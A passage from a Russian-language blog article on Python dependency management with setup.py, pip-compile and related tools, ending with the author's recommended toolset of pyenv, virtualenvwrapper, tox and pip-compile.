Да, тут всё правильно. Строка с одной точкой. В файле setup.pyfile для зависимостей я прописываю Twisted> = 17.5 вместо Twisted == 18.1, которая затрудняет обновление до новых версий библиотеки.

. означает текущий каталог, в котором соответствующий файл setup.py используется в качестве источника информации о зависимостях.

Это означает, что при использовании pip-compile requirements.in > requirements.txt будет создан файл с замороженными зависимостями. Вы можете использовать этот файл зависимостей либо в виртуальной среде, созданной virtualenvwrapper, либо в tox.ini.

Иногда может пригодиться файл requirements-dev.txt, сгенерированный из requirements-dev.in (contents: .[dev]) или requirements-test.txt, сгенерированный из requirements-test.in (contents: .[test]).

В качестве альтернативы pip-compile можно использовать dephell. У инструмента dephell есть много интересностей, например, использование асинхронных HTTP-запросов для загрузки зависимостей.

Вывод


Я считаю Python мощным и красивым языком. Тем не менее, чтобы продуктивно работать, я использую определенный набор инструментов, которые доказали свою эффективность, по крайней мере для меня. Поэтому используйте эти четыре инструмента pyenv, virtualenvwrapper, tox и pip-compile и будет вам счастье =)



На правах рекламы


Встречайте! Впервые в России эпичные серверы!
Мощные серверы на базе новейших процессоров AMD EPYC. Частота процессора до 3.4 GHz. Тарифы от 10 рублей в сутки!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru